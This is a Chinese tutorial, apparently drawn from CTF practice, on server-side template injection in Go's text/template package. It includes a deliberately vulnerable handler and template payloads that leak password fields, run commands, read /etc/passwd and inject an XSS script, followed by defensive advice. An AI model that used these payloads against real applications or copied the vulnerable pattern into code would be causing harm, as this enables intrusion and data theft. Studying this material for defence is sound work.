GO中SSTI研究
字数 817 2025-08-07 08:22:18

Go语言SSTI漏洞研究与利用指南

0x00 前言

在ByteCTF2021与SCTF2021等CTF比赛中,Go语言下的SSTI(Server-Side Template Injection)漏洞频繁出现。本文深入分析Go语言模板引擎特性及其安全风险,提供详细的漏洞利用方法。

0x01 Go模板引擎基础

Go语言提供了两个模板包:

  • text/template:基础模板引擎,无安全防护
  • html/template:增加了HTML编码等安全保护

关键区别:

  • text/template允许直接调用任何公共函数
  • html/template限制了危险操作,提供XSS防护

0x02 漏洞示例代码

package main

import (
    "fmt"
    "net/http"
    "strings"
    "text/template"
)

type User struct {
    Id     int
    Name   string
    Passwd string
}

func StringTplExam(w http.ResponseWriter, r *http.Request) {
    user := &User{1, "admin", "123456"}
    r.ParseForm()
    arg := strings.Join(r.PostForm["name"], "")
    tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`)
    html, err := template.New("login").Parse(tpl1)
    html = template.Must(html, err)
    html.Execute(w, user)
}

func main() {
    server := http.Server{
        Addr: "127.0.0.1:8080",
    }
    http.HandleFunc("/login", StringTplExam)
    server.ListenAndServe()
}

0x03 漏洞利用方法

信息泄露

  1. 泄露密码字段:
{{.Passwd}}
  1. 泄露全部模板内容:
{{ . }}

防御方法示例

func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
    user := &User{1, "tyskill", "tyskill"}
    r.ParseForm()
    arg := strings.Join(r.PostForm["name"], "")
    tpl := `<h1>Hi, {{ .arg }}</h1><br>Your name is {{ .Name }}`
    data := map[string]string{
        "arg":  arg,
        "Name": user.Name,
    }
    html := template.Must(template.New("login").Parse(tpl))
    html.Execute(w, data)
}

远程代码执行(RCE)

  1. 引入危险函数:
import "os/exec"

func (u User) Secret(test string) string {
    out, _ := exec.Command(test).CombinedOutput()
    return string(out)
}
  1. 执行系统命令:
{{.Secret "whoami"}}

文件读取

  1. 引入文件操作包:
import "io/ioutil"

func (u User) FileRead(filename string) string {
    data, _ := ioutil.ReadFile(filename)
    return string(data)
}
  1. 读取文件:
{{.FileRead "/etc/passwd"}}

格式化输出

{{printf "%s" "output"}}

其他输出方式:

  • {{html "ssti"}}
  • {{js "ssti"}}
  • 直接输出:{{"ssti"}}

XSS攻击

  1. 模板定义方式:
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}

模板语法说明:

  • {template "name"}}:执行名为name的模板
  • {{define "name"}模板内容{{end}}}:定义一个名为name的模板

0x04 总结

Go语言SSTI漏洞利用要点:

  1. 区分text/templatehtml/template的安全差异
  2. 通过模板语法访问结构体字段导致信息泄露
  3. 调用危险方法实现RCE和文件操作
  4. 利用模板定义功能实现XSS攻击

防御建议:

  1. 优先使用html/template
  2. 严格控制用户输入与模板的结合方式
  3. 避免在模板中暴露危险方法
  4. 对用户输入进行严格的过滤和验证

参考资源

  1. Go SSTI Method Research
  2. Breaking Go's Template Engine
  3. Go SSTI Exploitation
Go语言SSTI漏洞研究与利用指南 0x00 前言 在ByteCTF2021与SCTF2021等CTF比赛中,Go语言下的SSTI(Server-Side Template Injection)漏洞频繁出现。本文深入分析Go语言模板引擎特性及其安全风险,提供详细的漏洞利用方法。 0x01 Go模板引擎基础 Go语言提供了两个模板包: text/template :基础模板引擎,无安全防护 html/template :增加了HTML编码等安全保护 关键区别: text/template 允许直接调用任何公共函数 html/template 限制了危险操作,提供XSS防护 0x02 漏洞示例代码 0x03 漏洞利用方法 信息泄露 泄露密码字段: 泄露全部模板内容: 防御方法示例 远程代码执行(RCE) 引入危险函数: 执行系统命令: 文件读取 引入文件操作包: 读取文件: 格式化输出 其他输出方式: {{html "ssti"}} {{js "ssti"}} 直接输出: {{"ssti"}} XSS攻击 模板定义方式: 模板语法说明: {template "name"}} :执行名为name的模板 {{define "name"}模板内容{{end}}} :定义一个名为name的模板 0x04 总结 Go语言SSTI漏洞利用要点: 区分 text/template 和 html/template 的安全差异 通过模板语法访问结构体字段导致信息泄露 调用危险方法实现RCE和文件操作 利用模板定义功能实现XSS攻击 防御建议: 优先使用 html/template 严格控制用户输入与模板的结合方式 避免在模板中暴露危险方法 对用户输入进行严格的过滤和验证 参考资源 Go SSTI Method Research Breaking Go's Template Engine Go SSTI Exploitation